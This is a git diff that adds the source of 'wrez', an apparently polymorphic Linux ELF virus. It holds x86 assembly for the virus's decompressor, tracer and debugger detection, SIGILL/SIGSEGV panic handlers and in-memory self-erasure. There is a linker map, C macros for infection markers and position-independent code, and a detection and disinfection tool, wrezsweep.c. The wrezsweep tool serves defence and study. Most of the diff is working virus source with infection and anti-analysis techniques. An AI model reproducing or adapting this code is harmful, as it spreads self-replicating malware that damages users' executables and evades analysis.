61hl2stuff: db 0x42
62hf2stuff: db 0x43
63
64; ======================= real code start =========================
65
66decompressor_start:
67 ; get wrcfg structure
68 pop ebp
69 push ebp
70
71 ; XXX: this code is needed for polymorphic instantiations and
72 ; shellcode-like invocations. in either case, we cannot expect
73 ; to have the proper address already there.
74 mov edi, ebp
75 sub edi, (wrcfg - wrez_init) ; virtual address of wrez_init
76 mov [ebp + (wr_start - wrcfg)], edi
77
78 ; decompress_to = wr_start + cmprlen + (decompressor_end - wrez_init)
79 mov edi, [ebp + (wr_start - wrcfg)] ; wr_start
80 add edi, (decompressor_end - wrez_init)
81 mov esi, edi ; esi = compressed
82 add edi, [ebp + (cmprlen - wrcfg)] ; + cmprlen
83
84 push edi ; push edi for the final ret
85 push dword [ebp + (hf2stuff - wrcfg)]
86 push dword [ebp + (hl2stuff - wrcfg)]
87 push dword [ebp + (hl1stuff - wrcfg)]
88 push dword [ebp + (llstuff - wrcfg)]
89 pusha
90
91 xor ebx, ebx
92 xor ecx, ecx
93 xor ebp, ebp
94 xor eax, eax
95 cdq
96
97 ; esi = compressed data
98 ; edi = target buffer
99
100main_loop:
101eoff: cmp esi, [esp + pusha_size + 4 * 4] ; eof ?
102 jb noquit ; Yepp -> Return to 100h
103
104 popa
105 add esp, 4 * 4
106 ret ; return to target buffer
107
108noquit: call get_bit ; Compressed/uncompressed data next?
109 jc compressed
110
111
112 ; Handle uncompressed data
113 mov cl, 8 ; Uncompressed -> Get next 8 bits
114 cdq ; No fix-ups (clear edx)
115
116 call get_data ; Get byte
117
118 xchg eax, ebx ; Store the byte
119 stosb
120
121 ;jmp is 5 bytes long, clc jnc is only 3, we win 2 bytes !
122 ;jmp main_loop ; Loop
123 ; TODO: use jump (2 bytes short)
124 jmp main_loop
125
126
127 ; Handle compressed data
128compressed:
129ll: mov dl, byte [esp + pusha_size + 0] ; llstuff, Maximum number of bits in a row
130
131bit_loop:
132 call get_bit ; Loop until CF = 0
133 jnc c_getpos
134
135 inc ecx ; Increase lenght
136 dec edx ; Max number of bits read?
137 jnz bit_loop ; Nope -> Keep reading
138
139 sub esp, 4
140 call get_huffman ; Yepp -> Get huffman-coded lenght
141 add esp, 4
142 mov ecx, ebx ; Lenght must be in cx
143
144c_getpos:
145 jecxz lenght_1 ; Lenght 1? -> Do something else....
146
147 push ecx ; Save lengt
148 call get_huffman ; Get huffman-coded position
149 pop ecx ; Restore lenght
150
151c_copy: push esi ; Save old source
152
153 mov esi, edi ; Calculate new source offset
154 sub esi, ebx
155
156 inc ecx ; Fix lenght
157 rep movsb ; Copy duplicate data
158
159 pop esi ; Restore source offset
160
161 jmp main_loop
162
163lenght_1:
164 mov cl, 4 ; Get 4 bits of data for position
165 cdq ; Fix-up value
166 inc edx ; (dx = 1)
167
168 call get_data ; Get data
169
170 jmp c_copy
171
172; Get one bit of data
173; Returns:
174; CF - Value of the bit
175
176gb_next_byte:
177 lodsb ; Get one byte
178 mov ah, 1 ; Mark the end of data
179 xchg ebp, eax ; Move it to bp
180
181get_bit:
182 shr ebp, 1 ; Get bit to CF
183 jz gb_next_byte ; No more bits left in dx?
184 ret
185
186; Get huffman-coded number
187; Returns:
188; bx - The number
189
190get_huffman:
191 mov cx, word [esp + pusha_size + 4 + 8] ; hl1stuff, Assume 3 bits for the number
192 cdq ; Fix-up value
193 inc edx ; (dx = 1)
194
195 call get_bit ; Get huffman bit
196 jnc get_data ; Was 0 -> Values were correct
197
198 mov cl, byte [esp + pusha_size + 8 + 8] ; hl2stuff
199 mov dl, byte [esp + pusha_size + 12 + 8] ; hf2stuff
200
201
202; Get n bits of data
203; Input:
204; cx - Number of bits wanted
205; dx - Fix-up value to be added to the result
206; Returns:
207; bx - The requested number
208
209get_data:
210 xor ebx, ebx
211
212gd_loop:
213 call get_bit ; Get bit
214 rcl ebx, 1 ; Store it
215 loop gd_loop ; Loop
216 add ebx, edx ; Fix the value
217
218 ret
219
220decompressor_end:
221data_start:
222
223; ============= everything below this line is compressed ===============
224
225rinit: ; &wrcfg is pushed on stack now
226
227 ; find tracer signature on stack
228 xor eax, eax
229 mov ebx, 0x494a4b4c
230 mov ecx, ('cart' ^ 0x494a4b4c)
231 mov esi, esp
232 cld
233
234trl0: lodsb
235 xor al, bl
236
237 cmp eax, ecx
238 jnz cont0
239 jmp wrez_escape ; escape virus
240
241cont0:
242 ; increase sliding seed
243 ; ecx = ecx ^ (a ^ b)
244 ; a = seed_old
245 ; b = seed_new = (seed_old << 8) | ((seed_old & 0xff) + 1)
246 mov edx, ebx
247 shl ebx, 8
248 mov bl, bh
249 inc bl
250 xor edx, ebx
251 xor ecx, edx
252
253 shl eax, 8
254
255 ; obfuscated compare with 0xc0000000
256 bsf edx, esi ; edx = 0x1e = 0001.1110b
257 ror edx, 0x5
258 jnc trl0
259
260%if 0
261 ; ok, most likely there is no [sl]trace running on us
262 ; now check for gdb or any ptrace-using bugger
263 call pphdlr
264 mov [0xbffffffc], byte 0xff
265 int3 ; cause SIGTRAP
266
267 call aphdlr
268
269 cmp [0xbffffffc], byte 0x00
270 jne wrez_escape
271
272 ; infection part
273 call rentry
274 jmp wrez_escape
275
276aphdlr: push byte 0x0 ; SIG_DFL
277 jmp phdlr
278
279pphdlr: call phdlr
280 ; real SIGTRAP handler
281shdlr: mov [0xbffffffc], byte 0x00
282 ret
283
284phdlr: pop ecx
285 push byte 0x05
286 pop ebx ; signum = SIGTRAP
287 push byte 0x30
288 pop eax ; __NR_signal
289 int3
290 int 0x80 ; signal (SIGTRAP, shdlr);
291 ret
292%endif
293
294 ; install SIGSEGV and SIGILL handler
295 pop ebp ; &wrcfg
296 call psigillsegv
297
298; signal handler itself
299sigillsegv:
300 mov esi, esp
301 and esi, 0xfffffff0
302spl0: lodsd
303 cmp eax, 'mark'
304 jne spl0
305
306 lodsd ; address of real panic handler
307 mov [esp + 64], eax
308 ret
309
310
311psigillsegv:
312 pop ecx
313 push ecx
314 push byte 4
315 pop ebx ; signum = SIGILL
316 push byte 0x30
317 pop eax ; __NR_signal
318 int 0x80 ; signal (SIGTRAP, shdlr);
319
320 pop ecx
321 push byte 11
322 pop ebx
323 push byte 0x30
324 pop eax
325 int 0x80
326
327 pusha
328 push esp
329 call ppanic
330
331; when signal is caught, it redirects execution here, so this is the
332; panic handler
333panic: mov esi, esp
334 and esi, 0xfffffff0
335pl0: lodsd
336 cmp eax, 'mark'
337 jne pl0
338 lodsd
339 lodsd ; old stack pointer
340 mov esp, eax
341 popa
342
343 sub esp, 0x20 + 12 ; simulate as if we just return from rentry
344 push ebp
345 push 0x0 ; simulate return value of 0 of wrez_main
346 jmp wrez_cleanout
347
348ppanic: push dword 'mark'
349
350; signal handlers are installed now and the stack looks like this:
351; <lower> .... 'mark' addr esp pusha-array .... <higher>
352; where addr is the address to continue in case of panic
353
354 push ebp ; &wrcfg
355 call rentry
356
357 push eax ; save return value
358
359wrez_cleanout:
360 ; get rid of installed signal handlers
361 push byte 0x00
362 pop ecx
363 push byte 4
364 pop ebx
365 push byte 0x30
366 pop eax
367 int 0x80 ; signal (SIGILL, SIG_DFL);
368 push byte 0x00
369 pop ecx
370 push byte 11
371 pop ebx
372 push byte 0x30
373 pop eax
374 int 0x80 ; signal (SIGSEGV, SIG_DFL);
375
376 pop eax ; return value of wrez_main
377
378 ; escape. either called on panic or when the virus code has been
379 ; successfully executed destroy virus signature in memory
380wrez_escape:
381 pop ebp ; pop wrcfg parameter given to rentry
382
383 ; since we survived, lets pop stack guards
384 add esp, 12 + 0x20; 'mark', &panic, saved-esp and pusha array
385
386 mov ebx, [esp + 0x20 + 4] ; retaddr
387 mov edx, [ebx] ; instruction at retaddr
388 and edx, 0x00000700 ; get n: 83 c_n_ fc
389 shr edx, 8 - 2 ; >> 8, * 4
390 mov esi, esp
391 add esi, 0x20 - 4
392 sub esi, edx
393 mov edi, [esi] ; old .ctors, exact begin of virus
394
395 ; FIXME: make a reliable way of either storing edx or edx +4, depending on
396 ; the code that will be executed just after the ret below. see
397 ; wrcore.c:700
398 mov edx, dword [ebp + (wr_oldctors - wrcfg)]
399 mov [esi], edx ; overwrite ctors walk register
400
401 ; decide what to do with the virus, based on the return value of
402 ; wrez_main:
403 ; 0: erase virus from memory
404 ; != 0: continue without erasing
405
406 or eax, eax
407 jz do_erase
408
409 ; int3
410 popa
411 popf
412 ret
413
414do_erase:
415 push edi ; point to return to with last 'ret'
416
417 ; now compute the length to zero off
418 mov ecx, [ebp + (wr_start - wrcfg)]
419 sub ecx, edi ; ecx = length of poly-stub
420 add ecx, wrez_len - 5 ; 5 bytes instruction
421 add ecx, [ebp + (cmprlen - wrcfg)] ; + cmprlen
422
423 ; store the zero'ing opcodes
424 cld
425 mov eax, 0x9d61aaf3
426 stosd
427
428 mov al, 0xc3 ; 'ret'
429 stosb
430
431 xor eax, eax ; overwrite with NUL (al = \x00)
432
433 ret
434
435rentry: align 16,db 0x90 ; avoid non-executeable ld-generated alignment
436
437 ; wrez_main starts directly at this place
438
diff --git a/other/wrez/wrez.bin b/other/wrez/wrez.bin
new file mode 100755
index 0000000..c32f11f
--- /dev/null
+++ b/other/wrez/wrez.bin
Binary files differ
diff --git a/other/wrez/wrez.bin.conf b/other/wrez/wrez.bin.conf
new file mode 100644
index 0000000..fb7772f
--- /dev/null
+++ b/other/wrez/wrez.bin.conf
@@ -0,0 +1,3 @@
1configrel 5
2skip 259
3compress 3866:14:7:10:129
diff --git a/other/wrez/wrez.bin.out b/other/wrez/wrez.bin.out
new file mode 100644
index 0000000..41c2994
--- /dev/null
+++ b/other/wrez/wrez.bin.out
Binary files differ
diff --git a/other/wrez/wrez.map b/other/wrez/wrez.map
new file mode 100644
index 0000000..92ba85b
--- /dev/null
+++ b/other/wrez/wrez.map
@@ -0,0 +1,53 @@
1
2Memory Configuration
3
4Name Origin Length Attributes
5*default* 0x00000000 0xffffffffffffffff
6
7Linker script and memory map
8
9 0x06660000 . = 0x6660000
10
11.text 0x06660000 0x16b0
12 wrez.o(.text)
13 .text 0x06660000 0x200 wrez.o
14 0x06660103 decompressor_end
15 0x06660000 wrez_init
16 0x06660005 wrcfg
17 0x06660042 decompressor_start
18 0x06660103 data_start
19 wrcore.o(.text)
20 .text 0x06660200 0xaa9 wrcore.o
21 0x06660200 wrez_main
22 lime-interface.o(.text)
23 *fill* 0x06660ca9 0x3 00
24 .text 0x06660cac 0x27 lime-interface.o
25 0x06660cac lime_generate
26 lime.o(.text)
27 *fill* 0x06660cd3 0xd 00
28 .text 0x06660ce0 0x9cd lime.o
29 0x06660e68 lime
30 *(.text)
31 *(.rodata)
32 .rodata 0x066616ad 0x2 wrcore.o
33 *(.data)
34 *fill* 0x066616af 0x1 00
35
36.rel.dyn
37
38/DISCARD/
39 *(.bss)
40 *(.eh_frame)
41 *(.comment)
42 *(.note)
43OUTPUT(wrez elf32-i386)
44
45.debug_abbrev
46
47.debug_info
48
49.debug_line
50
51.debug_pubnames
52
53.debug_aranges
diff --git a/other/wrez/wrez.o b/other/wrez/wrez.o
new file mode 100644
index 0000000..c8931bd
--- /dev/null
+++ b/other/wrez/wrez.o
Binary files differ
diff --git a/other/wrez/wrezdefs.h b/other/wrez/wrezdefs.h
new file mode 100644
index 0000000..c6a77c7
--- /dev/null
+++ b/other/wrez/wrezdefs.h
@@ -0,0 +1,2 @@
1#define WREZ_CFG_START 0x00000005
2#define WREZ_SIZE 5808
diff --git a/other/wrez/wrezdefs.inc b/other/wrez/wrezdefs.inc
new file mode 100644
index 0000000..abafd24
--- /dev/null
+++ b/other/wrez/wrezdefs.inc
@@ -0,0 +1 @@
wrez_len equ 5808
diff --git a/other/wrez/wrezsweep.c b/other/wrez/wrezsweep.c
new file mode 100644
index 0000000..08561a6
--- /dev/null
+++ b/other/wrez/wrezsweep.c
@@ -0,0 +1,578 @@
1/* wrezsweep - wrez detection and removal tool
2 * not to be distributed, ever.
3 */
4
5#define VERSION "0.2"
6
7
8#include <stdio.h>
9#include <stdlib.h>
10#include <unistd.h>
11#include <elf.h>
12
13
14int isinfected (char *pathname, int disinfect);
15int ctors_seek (FILE *fp, unsigned int ofs_low, unsigned int ofs_high,
16 unsigned int ctors_act, unsigned int opc_mask,
17 unsigned int opc_value);
18unsigned int ctors_getold (unsigned char *virus);
19
20
21int verbose = 0;
22int ctors_fromheader = 0;
23char * virus_outname = NULL;
24
25
26void
27usage (char *progname)
28{
29 fprintf (stderr, "usage: %s [-h] [-x] [-D] [-v] [-d virus] \\\n"
30 "\t\t<file1 [file2 [...]]>\n"
31 "\n", progname);
32 fprintf (stderr, "options\n"
33 "\t-h\t\tthis help\n"
34 "\t-x\t\ttry to fix/disinfect file\n"
35 "\t-D\t\tuse alternate original-ctors detection code\n"
36 "\t-v\t\tverbose mode\n"
37 "\t-d virus\tdump virus code to file 'virus'\n"
38 "\n");
39
40 exit (EXIT_FAILURE);
41}
42
43
44int
45main (int argc, char *argv[])
46{
47 char c;
48 char * progname = argv[0];
49 char ** oargv = argv;
50 int disinfect = 0;
51
52
53 printf ("wrezsweep - version "VERSION"\n\n");
54
55 if (argc < 2)
56 usage (progname);
57
58 while ((c = getopt (argc, argv, "hxDvd:")) != EOF) {
59 switch (c) {
60 case 'h':
61 usage (progname);
62 break;
63 case 'x':
64 disinfect = 1;
65 break;
66 case 'D':
67 ctors_fromheader = 1;
68 break;
69 case 'v':
70 verbose = 1;
71 break;
72 case 'd':
73 virus_outname = optarg;
74 break;
75 default:
76 usage (progname);
77 break;
78 }
79 }
80
81 if (optind == argc)
82 usage (progname);
83
84 if (verbose) {
85 printf ("scanning %d files\n", argc - optind);
86 if (disinfect)
87 printf ("disinfection enabled\n");
88 }
89
90 printf ("===================================================="
91 "==========================\n");
92
93 for ( ; optind < argc ; ++optind) {
94 printf ("FILE %s\n", oargv[optind]);
95
96 isinfected (oargv[optind], disinfect);
97 }
98
99 exit (EXIT_SUCCESS);
100}
101
102
103/* 0 clean
104 * 1 infected
105 * -1 error
106 */
107
108int
109isinfected (char *pathname, int disinfect)
110{
111 int retval = -1;
112 FILE * fp = NULL;
113 long int fp_ofs; /* temporary file offset */
114 long int fp_len; /* victim file size */
115
116 off_t fp_new_end;
117 unsigned char * slide_data = NULL;
118 unsigned int slide_len;
119 FILE * fpv;
120 unsigned char * virus = NULL;
121 int n;
122 Elf32_Ehdr veh;
123 Elf32_Shdr seh;
124 Elf32_Shdr sh[32], /* temporary */
125 bss, /* .bss section header table entry */
126 ctors; /* .ctors section */
127 int ctors_seen = 0;
128 Elf32_Phdr ptl1, /* 1rst PT_LOAD segment header */
129 ptl2; /* 2nd PT_LOAD segment header */
130 long int ptl2_ofs; /* file offset of header */
131 int vlen_sanity; /* odd stuff */
132 unsigned int vlen; /* virus length */
133 unsigned int vlen_filesz,
134 vlen_addmem,
135 vlen_virtual,
136 vlen_offset;
137 unsigned int old_ctors,
138 vir_ctors;
139 unsigned int new_displ,
140 ph_lastphys;
141
142
143 fp = fopen (pathname, "rb");
144 if (fp == NULL) {
145 perror ("fopen");
146 return (-1);
147 }
148
149 if (fread (&veh, sizeof (veh), 1, fp) != 1) {
150 perror ("fread Elf32_Ehdr");
151 goto bail;
152 }
153
154 if (veh.e_ident[EI_MAG0] != ELFMAG0 ||
155 veh.e_ident[EI_MAG1] != ELFMAG1 ||
156 veh.e_ident[EI_MAG2] != ELFMAG2 ||
157 veh.e_ident[EI_MAG3] != ELFMAG3)
158 {
159 if (verbose)
160 printf (" no ELF file\n");
161 goto bail;
162 }
163
164 if (veh.e_type != ET_EXEC || veh.e_machine != EM_386)
165 goto bail;
166
167 if (veh.e_shoff == 0) {
168 if (verbose)
169 printf (" section header table offset is zero\n");
170
171 goto bail;
172 }
173
174 if (fseek (fp, veh.e_shoff, SEEK_SET) != 0) {
175 perror ("fseek e_shoff");
176 goto bail;
177 }
178
179 /* walk sections, until .bss is reached. because .bss is always at the
180 * end of the second PT_LOAD segment, we can expect our virus to be
181 * after .bss
182 */
183 memset (&bss, '\0', sizeof (bss));
184 for (n = 0 ; n < veh.e_shnum && n < 32 ; ++n) {
185 if (fread (&sh[n], sizeof (sh[0]), 1, fp) != 1) {
186 perror ("fread Elf32_Shdr");
187
188 goto bail;
189 }
190
191 /* when .bss is found, copy it
192 */
193 if (sh[n].sh_type == SHT_NOBITS)
194 memcpy (&bss, &sh[n], sizeof (bss));
195
196 /* check for .ctors section
197 */
198 if (ctors_seen == 0 &&
199 sh[n].sh_type == SHT_PROGBITS &&
200 sh[n].sh_size == 8 &&
201 sh[n].sh_flags == (SHF_WRITE | SHF_ALLOC))
202 {
203 ctors_seen = 1;
204 memcpy (&ctors, &sh[n], sizeof (ctors));
205 }
206 }
207
208 if (bss.sh_type != SHT_NOBITS) {
209 if (verbose)
210 printf (" .bss section not found\n");
211 goto bail;
212 }
213
214 if (veh.e_phoff == 0) {
215 if (verbose)
216 printf (" segment header table offset is zero\n");
217 goto bail;
218 }
219 if (fseek (fp, veh.e_phoff, SEEK_SET) != 0) {
220 perror ("fseek e_phoff");
221 goto bail;
222 }
223
224 for (n = 0 ; n < veh.e_phnum ; ++n) {
225 if (fread (&ptl2, sizeof (ptl2), 1, fp) != 1) {
226 perror ("fread Elf32_Phdr");
227 goto bail;
228 }
229
230 if (ptl2.p_type == PT_LOAD && ptl2.p_flags == (PF_W | PF_R)) {
231 ptl2_ofs = ftell (fp) - sizeof (ptl2);
232 break;
233 } else if (ptl2.p_type == PT_LOAD) {
234 memcpy (&ptl1, &ptl2, sizeof (ptl1));
235 }
236 }
237 if (n == veh.e_phnum) {
238 if (verbose)
239 printf (" 2nd PT_LOAD segment not found\n");
240 goto bail;
241 }
242
243 vlen = ptl2.p_offset + ptl2.p_memsz;
244 vlen -= bss.sh_offset + bss.sh_size;
245
246 /* XXX: there are some weird files, where the end of .bss is past the
247 * memsz of the data PT_LOAD segment. strange.
248 */
249 vlen_sanity = vlen;
250 if (vlen_sanity < 0)
251 goto bail;
252
253
254 if (vlen == 0) {
255 if (verbose)
256 printf ("CLEAN: %s\n", pathname);
257
258 retval = 0;
259 goto bail;
260 }
261
262 vlen_filesz = ptl2.p_offset + ptl2.p_filesz;
263 vlen_filesz -= bss.sh_offset + bss.sh_size;
264 vlen_addmem = vlen - vlen_filesz;
265 vlen_virtual = bss.sh_addr + bss.sh_size;
266 vlen_offset = bss.sh_offset + bss.sh_size;
267
268 printf ("WARNING: file \"%s\", possible infection detected !\n"
269 " memory: %u bytes at 0x%08x\n"
270 " file: %u (+%u mem) bytes at 0x%08x\n",
271 pathname,
272 vlen, vlen_virtual, vlen_filesz, vlen_addmem,
273 vlen_offset);
274
275 /* read virus into memory, and optionally dump it to file for further
276 * analysis
277 */
278 if (fseek (fp, vlen_offset, SEEK_SET) != 0) {
279 perror ("fseek virus offset");
280 goto bail;
281 }
282
283 virus = calloc (1, vlen_filesz);
284 fread (virus, vlen_filesz, 1, fp);
285
286 if (virus_outname != NULL) {
287 if (verbose)
288 printf ("DUMPING virus region (0x%x to 0x%x, "
289 "%d bytes) to \"%s\"\n", vlen_offset,
290 vlen_offset + vlen_filesz, vlen_filesz,
291 virus_outname);
292
293 fpv = fopen (virus_outname, "wb");
294
295 if (fpv == NULL) {
296 perror ("fopen virus");
297
298 goto bail;
299 }
300
301 /* skip .ctors entry, only write real virus code
302 */
303 fwrite (virus + sizeof (unsigned int),
304 vlen_filesz - sizeof (unsigned int), 1, fpv);
305 fclose (fpv);
306 }
307
308 fclose (fp);
309 fp = NULL;
310
311 if (disinfect == 0) {
312 retval = (vlen == 0) ? 0 : 1;
313 goto bail;
314 }
315
316 /* for disinfection, open the file read/write
317 */
318 fp = fopen (pathname, "r+b");
319 if (fp == NULL) {
320 perror ("fopen disinfection");
321
322 goto bail;
323 }
324
325 /* first patch the original .ctors. this will deactivate the virus
326 * code, even if we fail to later remove it cleanly from the file
327 */
328 vir_ctors = vlen_virtual;
329 old_ctors = ctors_getold (virus);
330
331 if (old_ctors != 0xffffffff)
332 old_ctors -= 4; /* returns +4 since crt0.o walks downwards */
333
334 if (ctors_seen) {
335 if (ctors.sh_addr != old_ctors) {
336 printf ("DISINFECTION WARNING: original .ctors "
337 "addresses differ\n");
338 printf (" .ctors section header: 0x%08x\n"
339 " ctors from wrconfig: 0x%08x\n",
340 ctors.sh_addr, old_ctors);
341 }
342
343 if (ctors_fromheader) {
344 if (verbose)
345 printf (" overriding .ctors address\n");
346
347 old_ctors = ctors.sh_addr;
348 }
349 }
350
351 if (old_ctors == 0xffffffff) {
352 printf ("DISINFECTION WARNING: either not wrez or its "
353 "polymorph\n");
354 printf (" manually disinfect it (virus start: 0x%08x)\n",
355 vir_ctors);
356 printf (" or override ctors disinfection using the '-D' "
357 "option\n");
358
359 goto bail;
360 }
361
362 printf ("DISINFECTING\n"
363 " old ctors address: 0x%08x\n"
364 " virus ctors address: 0x%08x\n", old_ctors, vir_ctors);
365
366 if (ctors_seek (fp, ptl1.p_offset, ptl1.p_offset + ptl1.p_filesz,
367 vir_ctors, 0xf8, 0xb8))
368 {
369 printf ("FAILURE: cannot find viral ctors address in "
370 "crt0.o\n");
371
372 goto bail;
373 }
374
375 fp_ofs = ftell (fp);
376
377 if (verbose) {
378 printf (" found virus ctors activation code within crt0.o "
379 "at: 0x%08lx\n", fp_ofs);
380 }
381
382 /* overwrite first address (%ebx load), then search for the second
383 * one, immediatly after it (offset + 64 bytes)
384 */
385 if (fwrite (&old_ctors, sizeof (old_ctors), 1, fp) != 1)
386 goto bail;
387
388 if (ctors_seek (fp, fp_ofs, fp_ofs + 64, vir_ctors, 0, 0)) {
389 printf ("FAILURE: cannot find second viral ctors address "
390 "in crt0.o\n");
391
392 goto bail;
393 }
394
395 if (verbose)
396 printf (" found second virus ctors activation code "
397 "at: 0x%08lx\n", ftell (fp));
398
399 if (fwrite (&old_ctors, sizeof (old_ctors), 1, fp) != 1)
400 goto bail;
401
402 if (verbose)
403 printf (" restored old ctors address\n");
404
405 printf (" disabled virus activation, viral code is still in file, "
406 "though\n");
407
408 /* try to remove viral code from file
409 */
410 if (fseek (fp, 0, SEEK_END) != 0)
411 goto bail;
412
413 fp_len = ftell (fp);
414 slide_len = fp_len - (ptl2.p_offset + ptl2.p_filesz);
415 new_displ = vlen_filesz + bss.sh_size;
416
417 if (verbose)
418 printf (" sliding 0x%x bytes at the end of file (0x%x "
419 "bytes forward)\n", slide_len, new_displ);
420
421 slide_data = calloc (1, slide_len);
422 if (fseek (fp, fp_len - slide_len, SEEK_SET) != 0)
423 goto bail;
424
425 if (fread (slide_data, slide_len, 1, fp) != 1) {
426 perror ("fread slide-data");
427 goto bail;
428 }
429
430 /* seek to end of old PT_LOAD segment and slide file end there
431 */
432 if (fseek (fp, bss.sh_offset, SEEK_SET) != 0)
433 goto bail;
434
435 if (fwrite (slide_data, slide_len, 1, fp) != 1) {
436 perror ("fwrite slide-data");
437 goto bail;
438 }
439
440 fp_new_end = bss.sh_offset + slide_len;
441 fflush (fp);
442 ftruncate (fileno (fp), fp_new_end);
443
444 ph_lastphys = ptl2.p_offset + ptl2.p_filesz;
445 if (veh.e_shoff > ph_lastphys) {
446 veh.e_shoff -= new_displ;
447 if (fseek (fp, 0, SEEK_SET) != 0)
448 goto bail;
449 if (fwrite (&veh, sizeof (veh), 1, fp) != 1)
450 goto bail;
451 }
452
453 /* repair second PT_LOAD header
454 */
455 ptl2.p_filesz -= new_displ;
456 ptl2.p_memsz -= vlen;
457 if (fseek (fp, ptl2_ofs, SEEK_SET) != 0)
458 goto bail;
459 if (fwrite (&ptl2, sizeof (ptl2), 1, fp) != 1)
460 goto bail;
461
462 /* and fixup all slided sections
463 */
464 if (fseek (fp, veh.e_shoff, SEEK_SET) != 0)
465 goto bail;
466
467 for (n = 0 ; n < veh.e_shnum ; ++n) {
468 if (fread (&seh, sizeof (seh), 1, fp) != 1) {
469 perror ("fread fixup Elf32_Shdr");
470 goto bail;
471 }
472
473 if (seh.sh_offset > ph_lastphys) {
474 seh.sh_offset -= new_displ;
475 if (fseek (fp, - sizeof (seh), SEEK_CUR) != 0)
476 goto bail;
477 if (fwrite (&seh, sizeof (seh), 1, fp) != 1)
478 goto bail;
479
480 if (verbose)
481 printf (" section %d fixed\n", n);
482 }
483 }
484
485 printf (" successfully removed viral code from file\n");
486
487bail: if (fp != NULL)
488 fclose (fp);
489
490 if (virus != NULL)
491 free (virus);
492 if (slide_data != NULL)
493 free (slide_data);
494
495 return (retval);
496}
497
498
499/* ctors_seek
500 *
501 * seek within file `fp', between byte offset `ofs_low' and `ofs_high' for
502 * the unaligned 32 bit unsigned number `ctors_act'
503 *
504 * return 1 on failure
505 * return 0 on success, seek fp to the &ctors_act position
506 */
507
508int
509ctors_seek (FILE *fp, unsigned int ofs_low, unsigned int ofs_high,
510 unsigned int ctors_act, unsigned int opc_mask,
511 unsigned int opc_value)
512{
513 long ofs;
514 unsigned char dopcode;
515 unsigned char rbuf[4];
516 unsigned int * rbp;
517
518
519 if (verbose)
520 printf (" scanning for 0x%08x in: [0x%x - 0x%x]\n",
521 ctors_act, ofs_low, ofs_high);
522
523 /* we do not have to optimize this with streaming buffers, since
524 * the FILE buffers do that, better than we ever can ;)
525 */
526 if (fseek (fp, ofs_low, SEEK_SET) != 0)
527 goto bail;
528 memset (rbuf, '\x00', sizeof (rbuf));
529
530 for (ofs = ofs_low ; ofs <= (ofs_high - sizeof (unsigned int)) ;
531 ofs = ftell (fp))
532 {
533 dopcode = rbuf[0];
534 dopcode &= opc_mask;
535
536 if (fread (rbuf, sizeof (rbuf), 1, fp) != 1)
537 goto bail;
538
539 /* compare with given address
540 */
541 rbp = (unsigned int *) &rbuf[0];
542 if (*rbp == ctors_act && dopcode == opc_value) {
543 if (fseek (fp, ofs, SEEK_SET) != 0)
544 goto bail;
545
546 return (0);
547 }
548
549 if (fseek (fp, ofs + 1, SEEK_SET) != 0)
550 goto bail;
551 }
552
553bail:
554 return (1);
555}
556
557
558unsigned int
559ctors_getold (unsigned char *virus)
560{
561 virus += sizeof (unsigned int); /* new ctors */
562
563 /* kludge, skip until call opcode
564 */
565 while (virus[2] != 0xe8)
566 return (0xffffffff);
567
568 virus += 2;
569
570 virus += 1 + sizeof (unsigned int); /* skip opcode + imm32 */
571
572 /* virus points to wrconfig structure now
573 */
574 return (((unsigned int *) virus)[2]);
575}
576
577
578
diff --git a/other/wrez/wrutil.c b/other/wrez/wrutil.c
new file mode 100644
index 0000000..6e68df9
--- /dev/null
+++ b/other/wrez/wrutil.c
@@ -0,0 +1,306 @@
1
2
3/* infection marker macros
4 * INFECTED_SET will increase the value to a infection marker size
5 * INFECTED_IS will check for the marker
6 *
7 * FIXME: INFECT_PERCENT macro does not work. for some reason gcc assigns
8 * a static variable to the values for division. uhm.
9 */
10#if 0
11#define INFECT_PERCENT ((unsigned int) 90)
12#define INFECT_PADUP ((unsigned int)(400 / (100 - INFECT_PERCENT)))
13#endif
14
15/* false positive rates (slipped through when infecting)
16 *
17 * INFECT_PADUP | rate of virgin executeables falsely detected as infected
18 * -------------+---------------------------------------------------------
19 * 0x4 | 100.0 %
20 * 0x8 | 50.0 %
21 * 0x0a | 40.0 %
22 * 0x10 | 25.0 %
23 * 0x14 | 20.0 %
24 * 0x20 | 12.5 %
25 * 0x28 | 10.0 %
26 * 0x40 | 6.25 %
27 * 0x50 | 5.0 %
28 * 0x80 | 3.125 %
29 * 0xc8 | 2.0 %
30 * 0x100 | 1.5625 %
31 * 0x190 | 1.0 %
32 * 0x200 | 0.78125 %
33 */
34
35#define INFECT_PADUP 0xc8
36#define INFECTED_SET(isize) \
37{ \
38 (isize) += INFECT_PADUP - ((isize) % INFECT_PADUP); \
39}
40
41#define INFECTED_IS(isize) \
42 (((isize) % INFECT_PADUP) == 0)
43
44
45/* STRINGPTR macro to create a const string directly within the code.
46 * the string 'string' is assigned to the char * 'dst'. do not use it
47 * twice if you need the same string, but copy the resulting pointer,
48 * as each use of the macro dupes the string. use as this:
49 *
50 * char * foo;
51 * STRINGPTR(foo,"bar");
52 */
53#define STRINGPTR(dst,string) \
54{ \
55 register unsigned char * regtmp; \
56 \
57 __asm__ __volatile__ ( \
58 " call l0_%=\n\t" \
59 " .asciz \""##string"\"\n\t" \
60 "l0_%=: popl %%eax\n\t" \
61 : "=a" (regtmp)); \
62\
63 (dst) = regtmp; \
64}
65
66
67/* STATICPTR macro creates a fixed amount of space right where it is used,
68 * and loads the pointer 'dst' to point to the first byte of the space.
69 * use like this:
70 *
71 * void * data;
72 * STATICPTR (data, "256");
73 *
74 * would reserve 256 bytes of data.
75 */
76#define STATICPTR(dst,lenstr) \
77{ \
78 register unsigned char * regtmp; \
79 \
80 __asm__ __volatile__ ( \
81 " call l0_%=\n\t" \
82 " .fill "##lenstr", 1, 0x0\n" \
83 "l0_%=: popl %%eax\n\t" \
84 : "=a" (regtmp)); \
85\
86 (dst) = regtmp; \
87}
88
89
90/* the following three macros are used to redirect function calls and to
91 * retrieve the absolute address of virus-functions.
92 *
93 * do not put a colon ';' after using the CHAINSTRUCT macro.
94 */
95
96#define CHAINSTRUCT(arraylen) \
97struct { \
98 void * chain; /* address to chain call to */ \
99 void * any; /* transport pointer for user data */ \
100 unsigned int gotcount; \
101 unsigned int * gotloc[arraylen]; /* .got entry address */ \
102} * cstr;
103
104
105/* FUNCPTR, computes the absolute address for a function, based on relative
106 * data only. use like this:
107 *
108 * unsigned int my_write_addr;
109 * FUNCPTR (my_write_addr, "my_write");
110 */
111/*
112 "l0_%=: movl ($"##functionname" - $l0_%=), %%eax\n" \
113*/
114
115#define FUNCPTR(dst,functionname) \
116{ \
117 register unsigned int fptr; \
118 \
119 __asm__ __volatile__ ( \
